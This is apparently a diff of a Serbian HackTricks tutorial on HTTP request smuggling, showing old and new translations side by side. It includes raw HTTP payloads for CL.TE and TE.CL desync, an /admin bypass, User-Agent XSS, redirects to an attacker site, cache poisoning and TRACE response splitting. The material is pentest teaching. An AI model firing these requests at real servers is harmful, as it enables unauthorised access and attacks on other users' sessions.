To može biti veoma kritično jer **napadač može poslati jedan zahtev** na reverse proxy koji će biti **tumačen** od strane **pozadinskog** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **pozadinski** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta** i **pravi zahtev** tog klijenta će biti **deo** **ubačenog zahteva**. To može biti veoma kritično jer **napadač može poslati jedan zahtev** na reverse proxy koji će biti **tumačen** od strane **back-end** servera **kao 2 različita zahteva**. **Opasnost** ove tehnike leži u činjenici da će **back-end** server **tumačiti** **2. zahtev koji je ubačen** kao da je **došao od sledećeg klijenta**, a **stvarni zahtev** tog klijenta će biti **deo** **ubačenog zahteva**.
### Posebnosti ### Posebnosti
Zapamtite da u HTTP **novi red karakter se sastoji od 2 bajta:** Zapamtite da u HTTP **novi red karakter se sastoji od 2 bajta:**
* **Content-Length**: Ovaj header koristi **decimalni broj** da označi **broj** **bajtova** **tela** zahteva. Očekuje se da telo završi u poslednjem karakteru, **novi red nije potreban na kraju zahteva**. * **Content-Length**: Ovo zaglavlje koristi **decimalni broj** da označi **broj** **bajtova** **tela** zahteva. Očekuje se da telo završi u poslednjem karakteru, **novi red nije potreban na kraju zahteva**.
* **Transfer-Encoding:** Ovaj header koristi u **telu** **heksadecimalni broj** da označi **broj** **bajtova** **sledećeg dela**. **Deo** mora **završiti** sa **novim redom**, ali ovaj novi red **se ne računa** od strane indikatora dužine. Ova metoda prenosa mora završiti sa **delom veličine 0 praćenim sa 2 nova reda**: `0` * **Transfer-Encoding:** Ovo zaglavlje koristi u **telu** **heksadecimalni broj** da označi **broj** **bajtova** **sledećeg dela**. **Chunk** mora **završiti** sa **novim redom**, ali ovaj novi red **se ne računa** od strane indikatora dužine. Ova metoda prenosa mora završiti sa **delom veličine 0 praćenim sa 2 nova reda**: `0`
* **Connection**: Na osnovu mog iskustva, preporučuje se korišćenje **`Connection: keep-alive`** na prvom zahtevu u request Smuggling. * **Connection**: Na osnovu mog iskustva, preporučuje se korišćenje **`Connection: keep-alive`** na prvom zahtevu prilikom smuggling-a.
## Osnovni Primeri ## Osnovni Primeri
{% hint style="success" %} {% hint style="success" %}
Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki gadgeti zloupotrebljavaju nove redove, povratne znakove i neispravne content-length vrednosti. Kada pokušavate da iskoristite ovo sa Burp Suite **onemogućite `Update Content-Length` i `Normalize HTTP/1 line endings`** u repeater-u jer neki uređaji zloupotrebljavaju nove redove, povratne znakove i neispravne content-length vrednosti.
{% endhint %} {% endhint %}
HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako frontalni i pozadinski serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) heder. Ovi napadi se mogu manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji frontalni i pozadinski serveri prioritetizuju ove hedere. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda. HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste razlike u tome kako front-end i back-end serveri tumače `Content-Length` (CL) i `Transfer-Encoding` (TE) zaglavlja. Ovi napadi mogu se manifestovati u različitim oblicima, prvenstveno kao **CL.TE**, **TE.CL**, i **TE.TE**. Svaka vrsta predstavlja jedinstvenu kombinaciju načina na koji front-end i back-end serveri prioritetizuju ova zaglavlja. Ranjivosti nastaju kada serveri obrađuju isti zahtev na različite načine, što dovodi do neočekivanih i potencijalno zlonamernih ishoda.
### Osnovni Primeri Ranjivosti ### Osnovni Primeri Tipova Ranjivosti
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg) ![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
@ -64,14 +72,14 @@ HTTP request smuggling napadi se kreiraju slanjem nejasnih zahteva koji koriste
U prethodnu tabelu treba dodati TE.0 tehniku, kao CL.0 tehniku, ali koristeći Transfer Encoding. U prethodnu tabelu treba dodati TE.0 tehniku, kao CL.0 tehniku, ali koristeći Transfer Encoding.
{% endhint %} {% endhint %}
#### CL.TE Ranjivost (Content-Length koristi Frontalni, Transfer-Encoding koristi Pozadinski) #### CL.TE Ranjivost (Content-Length koristi Front-End, Transfer-Encoding koristi Back-End)
* **Frontalni (CL):** Obradjuje zahtev na osnovu `Content-Length` hedera. * **Front-End (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
* **Pozadinski (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` hedera. * **Back-End (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
* **Scenarijo napada:** * **Scenarijo napada:**
* Napadač šalje zahtev gde vrednost `Content-Length` hedera ne odgovara stvarnoj dužini sadržaja. * Napadač šalje zahtev gde vrednost `Content-Length` zaglavlja ne odgovara stvarnoj dužini sadržaja.
* Frontalni server prosleđuje ceo zahtev pozadinskom, na osnovu `Content-Length` vrednosti. * Front-end server prosleđuje ceo zahtev back-end-u, na osnovu vrednosti `Content-Length`.
* Pozadinski server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` hedera, tumačeći preostale podatke kao odvojen, sledeći zahtev. * Back-end server obrađuje zahtev kao chunked zbog `Transfer-Encoding: chunked` zaglavlja, tumačeći preostale podatke kao odvojeni, sledeći zahtev.
* **Primer:** * **Primer:**
``` ```
@ -87,14 +95,14 @@ GET /404 HTTP/1.1
Foo: x Foo: x
``` ```
#### TE.CL Ranjivost (Transfer-Encoding koristi Frontalni, Content-Length koristi Pozadinski) #### TE.CL Ranjivost (Transfer-Encoding koristi Front-End, Content-Length koristi Back-End)
* **Frontalni (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` hedera. * **Front-End (TE):** Obradjuje zahtev na osnovu `Transfer-Encoding` zaglavlja.
* **Pozadinski (CL):** Obradjuje zahtev na osnovu `Content-Length` hedera. * **Back-End (CL):** Obradjuje zahtev na osnovu `Content-Length` zaglavlja.
* **Scenarijo napada:** * **Scenarijo napada:**
* Napadač šalje chunked zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) ne odgovaraju. * Napadač šalje chunked zahtev gde veličina dela (`7b`) i stvarna dužina sadržaja (`Content-Length: 4`) ne odgovaraju.
* Frontalni server, poštujući `Transfer-Encoding`, prosleđuje ceo zahtev pozadinskom. * Front-end server, poštujući `Transfer-Encoding`, prosleđuje ceo zahtev back-end-u.
* Pozadinski server, poštujući `Content-Length`, obrađuje samo početni deo zahteva (`7b` bajtova), ostavljajući ostatak kao deo neplaniranog sledećeg zahteva. * Back-end server, poštujući `Content-Length`, obrađuje samo početni deo zahteva (`7b` bajtova), ostavljajući ostatak kao deo neplaniranog sledećeg zahteva.
* **Primer:** * **Primer:**
``` ```
@ -119,8 +127,8 @@ x=
* **Serveri:** Obe podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation. * **Serveri:** Obe podržavaju `Transfer-Encoding`, ali jedan može biti prevaren da ga ignoriše putem obfuscation.
* **Scenarijo napada:** * **Scenarijo napada:**
* Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` hederima. * Napadač šalje zahtev sa obfuskovanim `Transfer-Encoding` zaglavljima.
* U zavisnosti od toga koji server (frontalni ili pozadinski) ne prepozna obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost. * U zavisnosti od toga koji server (front-end ili back-end) ne prepoznaje obfuscation, može se iskoristiti CL.TE ili TE.CL ranjivost.
* Neobrađeni deo zahteva, kako ga vidi jedan od servera, postaje deo sledećeg zahteva, što dovodi do smuggling-a. * Neobrađeni deo zahteva, kako ga vidi jedan od servera, postaje deo sledećeg zahteva, što dovodi do smuggling-a.
* **Primer:** * **Primer:**
@ -141,9 +149,9 @@ Transfer-Encoding
: chunked : chunked
``` ```
#### **CL.CL Scenarijo (Content-Length koriste oba Frontalni i Pozadinski)** #### **CL.CL Scenarijo (Content-Length koriste i Front-End i Back-End)**
* Obe servera obrađuju zahtev isključivo na osnovu `Content-Length` hedera. * Obe servera obrađuju zahtev isključivo na osnovu `Content-Length` zaglavlja.
* Ovaj scenario obično ne dovodi do smuggling-a, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva. * Ovaj scenario obično ne dovodi do smuggling-a, jer postoji usklađenost u tome kako oba servera tumače dužinu zahteva.
* **Primer:** * **Primer:**
@ -158,7 +166,7 @@ Normal Request
#### **CL.0 Scenarijo** #### **CL.0 Scenarijo**
* Odnosi se na scenarije gde je `Content-Length` header prisutan i ima vrednost različitu od nule, što ukazuje da telo zahteva ima sadržaj. Pozadinski ignoriše `Content-Length` header (koji se tretira kao 0), ali frontalni ga analizira. * Odnosi se na scenarije gde je `Content-Length` zaglavlje prisutno i ima vrednost različitu od nule, što ukazuje na to da telo zahteva ima sadržaj. Back-end ignoriše `Content-Length` zaglavlje (koje se tretira kao 0), ali front-end ga analizira.
* Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva. * Ključno je za razumevanje i kreiranje smuggling napada, jer utiče na to kako serveri određuju kraj zahteva.
* **Primer:** * **Primer:**
@ -173,7 +181,7 @@ Non-Empty Body
#### TE.0 Scenarijo #### TE.0 Scenarijo
* Kao prethodni, ali koristeći TE. * Kao prethodni, ali koristeći TE
* Tehnika [prijavljena ovde](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) * Tehnika [prijavljena ovde](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **Primer**: * **Primer**:
``` ```
@ -213,12 +221,12 @@ For **više informacija o hop-by-hop header-ima** posetite:
## Pronalaženje HTTP Request Smuggling ## Pronalaženje HTTP Request Smuggling
Identifikacija ranjivosti HTTP request smuggling često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko dugo serveru treba da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti: Identifikacija HTTP request smuggling ranjivosti često se može postići korišćenjem tehnika merenja vremena, koje se oslanjaju na posmatranje koliko vremena je potrebno serveru da odgovori na manipulirane zahteve. Ove tehnike su posebno korisne za otkrivanje CL.TE i TE.CL ranjivosti. Pored ovih metoda, postoje i druge strategije i alati koji se mogu koristiti za pronalaženje takvih ranjivosti:
### Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Merenja Vremena ### Pronalaženje CL.TE Ranjivosti Korišćenjem Tehnika Merenja Vremena
* **Metod:** * **Metod:**
* Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke. * Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka dodatne podatke.
* **Primer:** * **Primer:**
``` ```
@ -235,14 +243,14 @@ A
* **Posmatranje:** * **Posmatranje:**
* Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku prerano. * Front-end server obrađuje zahtev na osnovu `Content-Length` i prekida poruku prerano.
* Back-end server, očekujući chunked poruku, čeka na sledeći chunk koji nikada ne dolazi, uzrokujući kašnjenje. * Back-end server, očekujući chunked poruku, čeka na sledeći chunk koji nikada ne dolazi, uzrokujući kašnjenje.
* **Indikatori:** * **Pokazatelji:**
* Timeout-ovi ili duga kašnjenja u odgovoru. * Timeout-ovi ili duga kašnjenja u odgovoru.
* Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru. * Primanje 400 Bad Request greške od back-end servera, ponekad sa detaljnim informacijama o serveru.
### Pronalaženje TE.CL Ranjivosti Korišćenjem Tehnika Merenja Vremena ### Pronalaženje TE.CL Ranjivosti Korišćenjem Tehnika Merenja Vremena
* **Metod:** * **Metod:**
* Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka na dodatne podatke. * Pošaljite zahtev koji, ako je aplikacija ranjiva, će uzrokovati da back-end server čeka dodatne podatke.
* **Primer:** * **Primer:**
``` ```
@ -288,9 +296,9 @@ Kada testirate ranjivosti request smuggling-a ometajući druge zahteve, imajte n
### Zaobilaženje Front-End Bezbednosti putem HTTP Request Smuggling ### Zaobilaženje Front-End Bezbednosti putem HTTP Request Smuggling
Ponekad, front-end proksi primenjuju bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proksi aktivno blokira takve pokušaje. Ipak, ovaj proksi može zanemariti ugradnje zahteva unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja. Ponekad, front-end proxy-ji sprovode bezbednosne mere, preispitujući dolazne zahteve. Međutim, ove mere se mogu zaobići iskorišćavanjem HTTP Request Smuggling-a, omogućavajući neovlašćen pristup ograničenim krajnjim tačkama. Na primer, pristup `/admin` može biti zabranjen spolja, pri čemu front-end proxy aktivno blokira takve pokušaje. Ipak, ovaj proxy možda neće pregledati ugrađene zahteve unutar prokrijumčarenog HTTP zahteva, ostavljajući rupu za zaobilaženje ovih ograničenja.
Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end bezbednosnih kontrola, posebno ciljajući `/admin` putanju koja je obično zaštićena front-end proksijem: Razmotrite sledeće primere koji ilustruju kako se HTTP Request Smuggling može koristiti za zaobilaženje front-end bezbednosnih kontrola, posebno ciljajući `/admin` putanju koja je obično zaštićena front-end proxy-jem:
**CL.TE Primer** **CL.TE Primer**
``` ```
@ -331,9 +339,9 @@ S druge strane, u TE.CL napadu, inicijalni `POST` zahtev koristi `Transfer-Encod
### Otkivanje prepravke front-end zahteva <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a> ### Otkivanje prepravke front-end zahteva <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
Aplikacije često koriste **front-end server** za modifikaciju dolaznih zahteva pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: <IP klijenta>`, kako bi se prenela IP adresa klijenta na back-end. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **obići zaštite** ili **otkriti skrivene informacije ili krajnje tačke**. Aplikacije često koriste **front-end server** za modifikaciju dolaznih zahteva pre nego što ih proslede back-end serveru. Tipična modifikacija uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: <IP klijenta>`, kako bi se prosledila IP adresa klijenta back-endu. Razumevanje ovih modifikacija može biti ključno, jer može otkriti načine za **obići zaštite** ili **otkriti skrivene informacije ili krajnje tačke**.
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end ponavlja u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar kao poslednji, slično sledećem: Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end ponavlja u odgovoru. Zatim, kreirajte zahtev, koristeći ovaj parametar poslednji, slično sledećem:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -419,20 +427,20 @@ A=
Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način: Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:
1. Inicira `POST` zahtev, naizgled tipičan, sa `Transfer-Encoding: chunked` header-om da označi početak šverca. 1. Inicira `POST` zahtev, naizgled tipičan, sa `Transfer-Encoding: chunked` header-om da označi početak šverca.
2. Nakon toga sledi `0`, što označava kraj chunked poruke. 2. Sledeći je `0`, što označava kraj chunked poruke.
3. Zatim se uvodi švercovani `GET` zahtev, gde je `User-Agent` header zaražen skriptom, `<script>alert(1)</script>`, što pokreće XSS kada server obradi ovaj sledeći zahtev. 3. Zatim, švercovani `GET` zahtev se uvodi, gde je `User-Agent` header zaražen skriptom, `<script>alert(1)</script>`, što pokreće XSS kada server obradi ovaj sledeći zahtev.
Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja zahteva, čime se iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način. Manipulacijom `User-Agent` kroz šverc, payload zaobilazi normalna ograničenja zahteva, čime iskorišćava Reflected XSS ranjivost na nestandardan, ali efikasan način.
#### HTTP/0.9 #### HTTP/0.9
{% hint style="danger" %} {% hint style="danger" %}
U slučaju da se sadržaj korisnika odražava u odgovoru sa **`Content-type`** kao što je **`text/plain`**, sprečavajući izvršenje XSS. Ako server podržava **HTTP/0.9, možda će biti moguće zaobići ovo**! U slučaju da se korisnički sadržaj odražava u odgovoru sa **`Content-type`** kao što je **`text/plain`**, sprečavajući izvršenje XSS. Ako server podržava **HTTP/0.9, možda će biti moguće zaobići ovo**!
{% endhint %} {% endhint %}
Verzija HTTP/0.9 je prethodila 1.0 i koristi samo **GET** glagole i **ne** odgovara sa **header-ima**, samo telom. Verzija HTTP/0.9 je prethodila 1.0 i koristi samo **GET** glagole i **ne odgovara** sa **header-ima**, samo telom.
U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa unosom korisnika** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržavao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`. U [**ovoj analizi**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno sa švercom zahteva i **ranjivim krajnjim tačkom koja će odgovoriti sa korisničkim unosom** da švercuje zahtev sa HTTP/0.9. Parametar koji će biti odražen u odgovoru sadržao je **lažni HTTP/1.1 odgovor (sa header-ima i telom)** tako da će odgovor sadržati validan izvršni JS kod sa `Content-Type` od `text/html`.
### Iskorišćavanje preusmeravanja na lokaciji sa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a> ### Iskorišćavanje preusmeravanja na lokaciji sa HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
@ -446,7 +454,7 @@ Rezultati u:
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/ Location: https://normal-website.com/home/
``` ```
Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling-a za preusmeravanje korisnika na spoljašnju stranicu. Na primer: Iako naizgled bezopasno, ovo ponašanje se može iskoristiti pomoću HTTP request smuggling-a za preusmeravanje korisnika na spoljašnji sajt. Na primer:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable-website.com Host: vulnerable-website.com
@ -460,7 +468,7 @@ GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
Foo: X Foo: X
``` ```
Ova prokrijumčarena zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt pod kontrolom napadača: Ovaj prokrijumčareni zahtev može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na veb sajt koji kontroliše napadač:
``` ```
GET /home HTTP/1.1 GET /home HTTP/1.1
Host: attacker-website.com Host: attacker-website.com
@ -472,7 +480,7 @@ Rezultati u:
HTTP/1.1 301 Moved Permanently HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/ Location: https://attacker-website.com/home/
``` ```
U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika tako što će poslužiti zlonamerni JavaScript kao odgovor. U ovom scenariju, korisnički zahtev za JavaScript datotekom je preuzet. Napadač može potencijalno kompromitovati korisnika pružajući zlonamerni JavaScript kao odgovor.
### Iskorišćavanje trovanja web kešom putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### Iskorišćavanje trovanja web kešom putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
@ -480,9 +488,9 @@ Trovanje web kešom može se izvršiti ako bilo koja komponenta **infrastrukture
Prethodno smo posmatrali kako se serverovi odgovori mogu izmeniti da vrate 404 grešku (pogledajte [Osnovni primeri](./#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Kao rezultat, sadržaj `/static/include.js` se zamenjuje u kešu sa onim od `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, što potencijalno može dovesti do Denial of Service (DoS). Prethodno smo posmatrali kako se serverovi odgovori mogu izmeniti da vrate 404 grešku (pogledajte [Osnovni primeri](./#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Kao rezultat, sadržaj `/static/include.js` se zamenjuje u kešu sa onim od `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, što potencijalno može dovesti do Denial of Service (DoS).
Ova tehnika postaje posebno moćna ako se otkrije **ranjivost Open Redirect** ili ako postoji **preusmeravanje na sajtu ka otvorenom preusmeravanju**. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja `/static/include.js` sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`. Ova tehnika postaje posebno moćna ako se otkrije **Open Redirect ranjivost** ili ako postoji **preusmeravanje na sajtu ka otvorenom preusmeravanju**. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja `/static/include.js` sa skriptom pod kontrolom napadača, što suštinski omogućava široku Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`.
Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da poslužuje JavaScript kod pod kontrolom napadača: Ispod je ilustracija iskorišćavanja **trovanja keša u kombinaciji sa preusmeravanjem na sajtu ka otvorenom preusmeravanju**. Cilj je izmeniti keš sadržaj `/static/include.js` da isporuči JavaScript kod pod kontrolom napadača:
``` ```
POST / HTTP/1.1 POST / HTTP/1.1
Host: vulnerable.net Host: vulnerable.net
@ -534,7 +542,7 @@ TRACE / HTTP/1.1
Host: example.com Host: example.com
XSS: <script>alert("TRACE")</script> XSS: <script>alert("TRACE")</script>
``` ```
Će poslati odgovor kao što je: Će poslati odgovor kao:
``` ```
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: message/http Content-Type: message/http
@ -547,13 +555,13 @@ X-Forwarded-For: xxx.xxx.xxx.xxx
``` ```
Primer kako iskoristiti ovo ponašanje bio bi da se **prokrijumčari prvo HEAD zahtev**. Ovaj zahtev će biti odgovoreno samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). I prokrijumčariti **odmah nakon HEAD TRACE zahtev**, koji će **odražavati poslati podaci**.\ Primer kako iskoristiti ovo ponašanje bio bi da se **prokrijumčari prvo HEAD zahtev**. Ovaj zahtev će biti odgovoreno samo sa **zaglavljima** GET zahteva (**`Content-Type`** među njima). I prokrijumčariti **odmah nakon HEAD TRACE zahtev**, koji će **odražavati poslati podaci**.\
Pošto će HEAD odgovor sadržati `Content-Length` zaglavlje, **odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, što će stoga odražavati proizvoljne podatke** u odgovoru.\ Pošto će HEAD odgovor sadržati `Content-Length` zaglavlje, **odgovor TRACE zahteva će biti tretiran kao telo HEAD odgovora, što će stoga odražavati proizvoljne podatke** u odgovoru.\
Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi ovo moglo biti **iskorišćeno u keširanom JS fajlu na primer da se ubaci proizvoljan JS kod**. Ovaj odgovor će biti poslat sledećem zahtevu preko veze, tako da bi to moglo biti **iskorišćeno u keširanom JS fajlu na primer da se ubaci proizvoljan JS kod**.
### Iskorišćavanje TRACE putem HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a> ### Iskorišćavanje TRACE putem HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
Nastavite da pratite [**ovaj post**](https://portswigger.net/research/trace-desync-attack) koji sugeriše još jedan način da se iskoristi TRACE metoda. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće **kontrolisati neke odražene podatke** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev. Nastavite da pratite [**ovaj post**](https://portswigger.net/research/trace-desync-attack) koji sugeriše još jedan način da se iskoristi TRACE metoda. Kao što je komentarisano, prokrijumčariti HEAD zahtev i TRACE zahtev je moguće **kontrolisati neke odražene podatke** u odgovoru na HEAD zahtev. Dužina tela HEAD zahteva je u suštini naznačena u Content-Length zaglavlju i formira se odgovorom na TRACE zahtev.
Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev za sledeći odgovor (što bi moglo biti iskorišćeno za izvođenje trovanja keša). Stoga, nova ideja bi bila da, znajući ovo Content-Length i podatke date u TRACE odgovoru, moguće je učiniti da TRACE odgovor sadrži validan HTTP odgovor nakon poslednjeg bajta Content-Length, omogućavajući napadaču da potpuno kontroliše zahtev do sledećeg odgovora (što bi moglo biti iskorišćeno za izvođenje trovanja keša).
Primer: Primer:
``` ```
@ -574,7 +582,7 @@ Content-Length: 44\r\n
\r\n \r\n
<script>alert("response splitting")</script> <script>alert("response splitting")</script>
``` ```
Generisaće ove odgovore (obratite pažnju na to kako HEAD odgovor ima Content-Length, što čini da TRACE odgovor bude deo HEAD tela, a kada se završi HEAD Content-Length, validan HTTP odgovor se švercuje): Generisaće ove odgovore (obratite pažnju na to kako HEAD odgovor ima Content-Length, što čini TRACE odgovor delom HEAD tela, a kada se završi HEAD Content-Length, validan HTTP odgovor se švercuje):
``` ```
HTTP/1.1 200 OK HTTP/1.1 200 OK
Content-Type: text/html Content-Type: text/html
@ -725,13 +733,21 @@ table.add(req)
* [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack) * [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
* [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) * [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Dobijte perspektivu hakera o vašim web aplikacijama, mreži i cloudu
**Pronađite i prijavite kritične, eksploatabilne ranjivosti sa stvarnim poslovnim uticajem.** Koristite naših 20+ prilagođenih alata za mapiranje napada, pronalaženje sigurnosnih problema koji vam omogućavaju da eskalirate privilegije, i koristite automatizovane eksploate za prikupljanje suštinskih dokaza, pretvarajući vaš trud u uverljive izveštaje.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Učite i vežbajte AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Podrška HackTricks</summary> <summary>Podržite HackTricks</summary>
